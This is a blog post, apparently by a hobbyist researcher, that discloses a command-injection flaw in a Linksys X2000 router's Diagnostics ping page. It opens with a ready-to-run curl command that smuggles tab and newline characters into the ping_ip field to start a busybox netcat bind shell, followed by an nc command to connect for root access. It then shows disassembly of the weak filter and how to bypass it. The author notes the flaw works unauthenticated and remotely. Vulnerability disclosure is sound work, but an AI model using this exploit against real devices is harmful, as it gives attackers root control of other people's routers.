EDIT:
This appears to be a security vulnerability, even a remote one if you have remote management active, because you don't need authentication to access the URL. I will leave the post as is, with the wrong info that you need your web admin account/password.
TL;DR
This appears to be a security vulnerability, even a remote one if you have remote management active, because you don't need authentication to access the URL. I will leave the post as is, with the wrong info that you need your web admin account/password.
TL;DR
While related (for the same code quality of the firmware in question) to the flaw exploited by the "The Moon" malware, this is a different issue. More at the end of the post.
Open a shell, run these commands:
#fixup
for your particular setup
user="web_admin_user"
password="web_admin_password"
router_ip="192.168.1.1"
#activate
the shell
curl
-s --basic -u "$user:$password" \
--data
submit_button=Diagnostics \
--data
change_action=gozila_cgi \
--data
submit_type=start_ping \
--data
action= \
--data
commit=0 \
--data
nowait=1 \
--data
ping_size=32 \
--data
ping_times=5 \
--data-urlencode
ping_ip=$'\nbusybox\tnc\t-e\t/bin/sh\t-l\t-p\t1234'
$router_ip/apply.cgi >/dev/null &
#access
the shell
nc
$router_ip 1234
Do remember to finish your nc session with exit, or the web interface may get stuck.
Long story
My router is a Linksys x2000. The other day I grabbed the firmware from the producer website and unpacked the root file system it with a certain amount of manual fiddling, aided by binwalk and firmware-mod-kit and the information in the OpenWrt wiki.
The software that my router is running isn't particularly interesting, except for the usual weirdness of embedded low-cost appliances. The system is built on BusyBox, which acts as init as well. System initialization is done in /etc/profile, which loads a bunch of modules and starts program smd. I am not sure what this program does, but eventually it also starts /bin/httpd. This program manages the web interface. Web pages are some sort of Asp. I'm not sure if this is the standard for Asp web applications, but the pages seem to access native functions and data by calling native code that is compiled directly into the /bin/httpd executable.
So my original idea was to modify the root file system and inject some code in some script that would open a remote shell for me, and flash it on the device. However, the web interface has a "Diagnostic" page where you can ping arbitrary addresses:
I guessed that the web interface eventually calls the ping program, because nobody really knows how to write a program that sends ICMP packets, and that, given the generic sloppiness of firmwares, the string that one inputs in the IP field isn't properly sanitized.
This guess can be easily tested by inputing strings with spaces or other special shell characters. The first one that revealed interesting output is `echo`. Such "address" outputs this:
So indeed ` is not stripped, which means that most probably /bin/httpd appends `echo` to ping, and runs it as a shell command, probably through system(). However, commands that contain spaces or ; are truncated. strings /bin/httpd also shows a confirming hint: "/bin/ping -f -c %u -s %u %s > /tmp/ping_log 2>&1 &"
Now peeking at the disassembly of /bin/httpd, here is where the IP string is loaded and sanitized:
LOAD:00420D9C la $a1, 0x490000
LOAD:00420DA0 la $t9, cgiGetValueByNameSafe
LOAD:00420DA4 addiu $s1, $sp, 0x238+var_198
LOAD:00420DA8 addiu $a1, (aPing_ip - 0x490000) # "ping_ip"
LOAD:00420DAC move $a2, $zero
LOAD:00420DB0 move $a3, $s1
LOAD:00420DB4 move $a0, $s4
LOAD:00420DB8 jalr $t9 ; cgiGetValueByNameSafe
LOAD:00420DBC sw $s3, 0x238+var_228($sp)
LOAD:00420DC0 lw $gp, 0x238+var_220($sp)
LOAD:00420DC4 move $a0, $s1
LOAD:00420DC8 la $t9, strchr
LOAD:00420DCC jalr $t9 ; strchr
LOAD:00420DD0 li $a1, 0x20
LOAD:00420DD4 beqz $v0, loc_420DE0
LOAD:00420DD8 lw $gp, 0x238+var_220($sp)
LOAD:00420DDC sb $zero, 0($v0)
LOAD:00420DE0
LOAD:00420DE0 loc_420DE0: # CODE XREF: do_arc_Diagnostics+AC↑j
LOAD:00420DE0 la $t9, strchr
LOAD:00420DE4 move $a0, $s1
LOAD:00420DE8 jalr $t9 ; strchr
LOAD:00420DEC li $a1, 0x3B
LOAD:00420DF0 beqz $v0, loc_420DFC
LOAD:00420DF4 lw $gp, 0x238+var_220($sp)
LOAD:00420DF8 sb $zero, 0($v0)
LOAD:00420DFC
LOAD:00420DFC loc_420DFC: # CODE XREF: do_arc_Diagnostics+C8↑j
LOAD:00420DFC la $t9, strchr
LOAD:00420E00 move $a0, $s1
LOAD:00420E04 jalr $t9 ; strchr
LOAD:00420E08 li $a1, 0x3C
LOAD:00420E0C beqz $v0, loc_420E18
LOAD:00420E10 lw $gp, 0x238+var_220($sp)
LOAD:00420E14 sb $zero, 0($v0)
LOAD:00420E18
LOAD:00420E18 loc_420E18: # CODE XREF: do_arc_Diagnostics+E4↑j
LOAD:00420E18 la $t9, strchr
LOAD:00420E1C move $a0, $s1
LOAD:00420E20 jalr $t9 ; strchr
LOAD:00420E24 li $a1, 0x3E
LOAD:00420E28 beqz $v0, loc_420E34
LOAD:00420E2C lw $gp, 0x238+var_220($sp)
LOAD:00420E30 sb $zero, 0($v0)
So the string is loaded, and then it is truncated at the first occurrence of any of " ;<>". This is a extraordinarily bad way to sanitize a shell argument, because spaces can usually be replaced with tabs, and semicolons for commands separation with new lines. Redirection can be emulated as well with eval I suppose, but I didn't test that.
The command at the top of this post effectively runs these commands on the router:
/bin/ping -f -c 5 -s 32
busybox nc -e /bin/sh -l -p 1234 > /tmp/ping_log 2>&1 &
And this effectively gives you a root access.
Relationship with "The Moon" malware
Looking at the actions take by "The Moon", it seems to me that in recent firmwares (I have the latest for my device) the upstream has "fixed" the issue by just disallowing some characters, but not solving the issue at the root. I would like to hear out from anyone who has some knowledge about vulnerable versions of Linksys firmwares if the function that I analyzed in this post did not have this characters blacklisting, which would confirm my guess.